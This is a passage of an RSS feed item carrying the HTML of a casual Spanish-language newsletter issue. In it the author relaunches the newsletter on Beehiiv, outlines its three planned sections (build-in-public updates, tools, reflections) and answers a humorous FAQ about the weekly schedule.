src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/84dd7183-16d2-4c48-af18-a3c25d647c94/Screenshot_2023-05-10_at_21.25.06.png"/><div class="image__source"><span class="image__source_text"><p>…y buena cosa de pegamento no-code para enviar los correos.</p></span></div></div><p class="paragraph" style="text-align:left;">Al final como era esperable resultó una chapuza inmantenible y lo fui dejando. Me conformé con el paralelismo masturbatorio a la newsletter que es enviar audios de 4 minutos explicando mis mierdas a cualquier pobre alma inocente que no se merecía para nada estar sometida a tal nivel de abuso verbal.</p><p class="paragraph" style="text-align:left;">Y así hasta ayer, a una hora intranscendente, en la que me armé de valor y busqué en Google aquello de “newsletter platforms 2023 reddit” y me topé con esta que estoy usando, Beehiiv, sobre la que hice un frenético <i>siguiente, siguiente, siguiente, finalizar</i> y me puse a escribir sin mirar atrás.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/c482f7b0-c1c4-4859-a573-2351f27fef75/Screenshot_2023-05-10_at_21.35.32.png"/></div><h1 class="heading" style="text-align:left;">¿De qué irá la newsletter?</h1><p class="paragraph" style="text-align:left;">En su momento hice una web. <a class="link" href="https://cuento.prealfa.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=31-first-issue" target="_blank" rel="noopener noreferrer nofollow">Sigue ahí.</a> Y la web se supone que dice de qué va la newsletter.</p><p class="paragraph" style="text-align:left;">Tiene tres secciones y tres objetivos:</p><h2 class="heading" style="text-align:start;"><b>1. #BuildInPublic</b></h2><p class="paragraph" style="text-align:start;">Lo que nunca debí dejar de hacer en la última etapa: manteneros actualizados sobre mis desvaríos creando productos propios que no me dan más que pérdidas y disgustos.</p><h2 class="heading" style="text-align:start;"><b>2. Herramientas</b></h2><p class="paragraph" style="text-align:start;">Aportaros algo más que puro entretenimiento. La cosa es que me gustaría que esto lo leyese más gente, así que tocará currárselo un poco y hacerlo atractivo.</p><p class="paragraph" style="text-align:start;">Además, que tengo ya una base de datos de Notion con “herramientas interesantes” que se me está yendo de las manos rápidamente.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/459b9009-3553-4e4c-83ed-b8ebff68b144/Screenshot_2023-05-10_at_22_28_29.png"/><div class="image__source"><span class="image__source_text"><p>Censurado, pa que sea más sorpresa. Y porque las descripciones dan vergüenza verlas.</p></span></div></div><h2 class="heading" style="text-align:left;">3. <b>Reflexiones</b></h2><p class="paragraph" style="text-align:left;">Finalmente, lo que venía a ser el 90% de las newsletters hasta ahora. Mi dosis de entretenimiento en forma de desvaríos de exigua consistencia interna.</p><p class="paragraph" style="text-align:left;">Todo esto siempre encabezado por una introducción al estilo propio de esta newsletter. Eso sí, más corta que de costumbre, que se me iba la pinza bastante.</p><h1 class="heading" style="text-align:left;">FAQ</h1><ul><li><p class="paragraph" style="text-align:left;"><b>¿Te ceñirás a las secciones o se te irá la pinza a la mínima?</b> — Mejor se lo preguntas a mi psicólogo. No se aceptan devoluciones.</p></li><li><p class="paragraph" style="text-align:left;"><b>¿Debo preocuparme porque este email, el primero, ya no se ajusta a las secciones?</b> — No, es intencionado, es que tenía que explicaros la movida.</p></li><li><p class="paragraph" style="text-align:left;"><b>¿Vas a publicar todas las semanas como antes?</b> — Mi idea es que sí. Espero no arrepentirme.</p></li><li><p class="paragraph" style="text-align:left;"><b>¿Qué día a qué hora?</b> — Como siempre, cada miércoles a las once calentito.</p></li><li><p class="paragraph" style="text-align:left;"><b>Socio, pero que son las once de la noche</b> — Ya bueno, tampoco te pongas exquisito ahora. He acabado hace 15 minutos.</p></li></ul><h1 class="heading" style="text-align:left;">Outro</h1><p class="paragraph" style="text-align:left;">Y con esto cerramos esta edición modelo <i>carlosprimero</i>, que es la primera de la nueva temporada y trigésimo primera de la newsletter en general. Recemos todos juntos a la <a class="link" href="https://es.wikipedia.org/wiki/Virgen_de_los_Desamparados?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=31-first-issue" target="_blank" rel="noopener noreferrer nofollow"><i>geperudeta</i></a> para que esta nueva temporada nos acompañe, al menos, tantas semanas como lo hizo la anterior, si no más.</p><p class="paragraph" style="text-align:left;">Y si no, pues más se perdió en Cuba.</p><p class="paragraph" style="text-align:left;">Hasta la semana que viene.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=d2f53978-1454-4828-8acd-47fb0777835e&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

  </channel>
</rss>
